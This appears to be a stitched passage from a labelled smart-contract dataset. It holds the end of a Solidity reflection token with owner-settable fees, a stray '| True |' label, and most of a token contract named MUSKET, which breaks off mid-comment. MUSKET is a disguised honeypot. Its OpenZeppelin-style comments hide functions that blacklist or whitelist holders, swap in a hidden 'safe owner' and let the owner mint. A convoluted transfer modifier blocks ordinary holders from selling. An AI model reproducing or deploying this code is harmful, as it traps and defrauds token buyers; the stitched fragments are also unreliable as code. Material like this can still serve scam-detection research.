function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _DevFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_previousDevFee= _DevFee;
_taxFee = 0;
_liquidityFee = 0;
_DevFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_DevFee = _previousDevFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//swap to eth
swapTokensForEth(contractTokenBalance);
uint256 newETHBalance = address(this).balance;
if (newETHBalance > 0 ){
uint256 half = newETHBalance.div(2);
payable(DevWallet).transfer(half);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
require(amount + balanceOf(recipient) <= _setMaxbalance || isMaxbalanceExempt[recipient],"Reciever has reached his Max Balance");
checkTxLimit(sender, amount);
//@dev Against sell off, dump and
if (recipient == uniswapV2Pair){
AntiSnipedump(true);
isMaxbalanceExempt[uniswapV2Pair] = true;
isTxLimitExempt[uniswapV2Pair] = true;
if(coolDownEnabled){
uint256 timePassed = block.timestamp - _lastSell[sender];
require(timePassed >= coolDownTime, "Cooldown enabled");
_lastSell[sender] = block.timestamp;
}
}
uint256 DevAmt = amount.mul(_DevFee).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, (amount.sub(DevAmt)));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, (amount.sub(DevAmt)));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, (amount.sub(DevAmt)));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, (amount.sub(DevAmt)));
} else {
_transferStandard(sender, recipient, (amount.sub(DevAmt)));
}
_transferStandard(sender, DevWallet, DevAmt);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setTxLimit(uint256 amount) external onlyOwner {
_maxTxAmount = amount;
}
function setMaxWallet(uint256 amount) external onlyOwner {
_setMaxbalance = amount;
}
function setDevFee(uint256 amount) external onlyOwner{
_DevFee = amount;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function AntiDumpMultiplier() private view returns (uint256) {
uint256 time_since_start = block.timestamp - launchTimestamp;
uint256 hour = 3600;
if (time_since_start > 12 * hour) { return (1);}
else { return (2);}
}
function AntSni() private view returns (bool) {
uint256 time_since_start = block.timestamp - launchTimestamp;
if (time_since_start < timeF) { return true;}
else { return false;}
}
function updateTimeF(uint256 _int) public onlyOwner {
require(_int < 1536, "Time too long");
timeF = _int;
}
function getTimestamp () public view returns (uint256){
return launchTimestamp;
}
function AntiSnipedump(bool selling) public view returns (uint256) {
uint256 multiplier = AntiDumpMultiplier();
bool firstFewBlocks = AntSni();
if(selling) { return (_liquidityFee).add(multiplier); }
if (firstFewBlocks) {return multiplier.add(2); }
return _DevFee;
}
function transferForeignToken(address _token) public onlyOwner {
require(_token != address(this), "Can't let you take all native token");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
payable(DevWallet).transfer(_contractBalance);
}
function manualSend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(DevWallet).transfer(contractETHBalance);
}
function manualswap(uint256 amount) external {
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function setCoolDowmEnabled(bool _cool) external onlyOwner{
coolDownEnabled = _cool;
}
//made with love by yummmyDAO: [email protected]
function setSwapLimit(uint256 _swaplimit) external onlyOwner{
numTokensSellToAddToLiquidity = _swaplimit;
}
//https://github.com/blackluv
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-24
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract MUSKET is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
